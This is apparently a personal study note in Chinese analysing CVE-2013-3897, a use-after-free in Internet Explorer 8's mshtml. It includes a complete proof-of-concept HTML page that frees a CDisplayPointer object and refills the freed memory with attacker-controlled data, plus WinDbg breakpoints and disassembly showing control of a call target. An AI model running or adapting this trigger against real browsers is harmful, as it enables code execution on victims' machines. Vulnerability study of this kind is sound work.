CVE 2013-3897

个人笔记学习来源于网络如有雷同纯属巧合~~~~~~

堆喷射的学习在这里

堆喷射只是说如果能找到IE 或者控件插件的漏洞可以控制程序的流程，执行我们想要的功能，但还不是一个意义上的“漏洞”，只能算是一种捷径吧，现在已经有不用堆喷射实现EXP的例子了。

首先曾经很困扰我的是 heap 回溯保护开启页堆开启它是在分析之前，不知道在哪里断下时候才用的，当我们知道后应该去掉它，否者你在占位时就不对了，这个是我的傻逼问题之一。

在POC 中提示字符，也可以当做下断好时机（为什么要用它解释一下：你在附加IE进程后下断可能还没有运行POC就断下了）

Math.atan2(0xbabe, "[*] XXX信息...");

bu jscript!JsAtan2 ".printf "%mu",poi(poi(poi(esp+14)+8)+8);.echo;g"

sxe ld:jscript 在 jscript DLL加载时断下

本文POC:

<html>
<head>
<script> 

var data = "";
var war = new Array();
var godzilla ;
var minilla ;
var battleStation = false;

for (i=0; i<17; i++) 
{
    if (i==7) 
    {
        data += unescape("%u2020%u2030"); 
    }
    else      
    {
        data += "u4141u4141";
    }
}
data += "u4141";

function fun_onselect()
{
    Math.atan2(0x999, "[*] Before swapNode");
    minilla.swapNode(document.createElement("div")); // 调用swapNode，通过交换节点从页面布局删除 textarea了，同时触发 onpropertychange 事件；
    Math.atan2(0x999, "[*] After swapNode");
}
 // fun_onpropertychange第一次被调用时是因为改变了DOM，第二次调用是由swapNode导致的，立即进行内存占位
function fun_onpropertychange()
{    
    Math.atan2(0x999, "[*] Enter onpropertychange");

    if (battleStation == true)
    {
        for (i=0; i<50; i++) 
        {
            war.push(document.createElement("span"));
        }
    }
 
    Math.atan2(0x999, "[*] Before Unselect");
    document.execCommand("Unselect");        // 使用了document.execCommand("Unselect")命令撤销 select ，导致了CDisplayPointer对象被释放
    Math.atan2(0x999, "[*] After Unselect");
    
    if (battleStation == true)                // 对已经释放的CDisplayPointer内存进行占位
    {
        for (i=0; i < war.length; i++) 
        {
            war[i].className = data;
        }
    }
    else
    {
        battleStation = true;
    }

    Math.atan2(0x999, "[*] Leave onpropertychange");
}

function kaiju() 
{
    godzilla = document.createElement("textarea");        // Create a CTextArea Object
    minilla = document.createElement("pre");         
    
    document.body.appendChild(godzilla);//body -> textarea

    godzilla.appendChild(minilla);      //textarea -> pre
        
    godzilla.onselect = fun_onselect ;                            // 给textarea元素设置 select 处理函数，当textarea文本框被选中时触发并调用处理函数
    
    Math.atan2(0x999, "[*] Before godzilla.onpropertychange");
    godzilla.onpropertychange = fun_onpropertychange ;            // 给textarea元素设置 onpropertychange 事件处理函数，当属性变化时触发调用
    Math.atan2(0x999, "[*] After godzilla.onpropertychange");

    Math.atan2(0x999, "[*] Before godzilla.select()");
    godzilla.select();                                            // 主动触发 select 处理函数
    Math.atan2(0x999, "[*] After godzilla.select()");
}
</script>
</head>
<body onload='kaiju()'>
</body>
</html>

这里的例子即使不开启页堆也可以分析。所以这里不演示页堆开启效果下个例子可能有这个~_~

6b55d53e 8b03            mov     eax,dword ptr [ebx]
6b55d540 8365e800        and     dword ptr [ebp-18h],0
6b55d544 8d4de8          lea     ecx,[ebp-18h]
6b55d547 51              push    ecx
6b55d548 688cd5556b      push    offset mshtml!IID_IProxyManager (6b55d58c)
6b55d54d 53              push    ebx
6b55d54e bf02400080      mov     edi,80004002h
6b55d553 ff10            call    dword ptr [eax]      ds:0023:20302020=????????

重新开始下断 mshtml!QIClassID+0x30 结构发现了 ebx VTABLE 是20302020 那么接着构造堆喷射

6b55d53e 8b03            mov     eax,dword ptr [ebx]  ds:0023:002d88dc=20302020
6b55d540 8365e800        and     dword ptr [ebp-18h],0
6b55d544 8d4de8          lea     ecx,[ebp-18h]
6b55d547 51              push    ecx
6b55d548 688cd5556b      push    offset mshtml!IID_IProxyManager (6b55d58c)
6b55d54d 53              push    ebx
6b55d54e bf02400080      mov     edi,80004002h
6b55d553 ff10            call    dword ptr [eax]

可以开始构造最终POC了用以前学习的 win7 ie8 的rb生成喷射网页修改后 POC为：

WIN7 ENGLISH IE8 默认DEP什么的

一般系统都用的 Java 6 ROP 但是我不用它了，没多大意义，就试试大牛们说的不需ROP的方法吧后面学~_~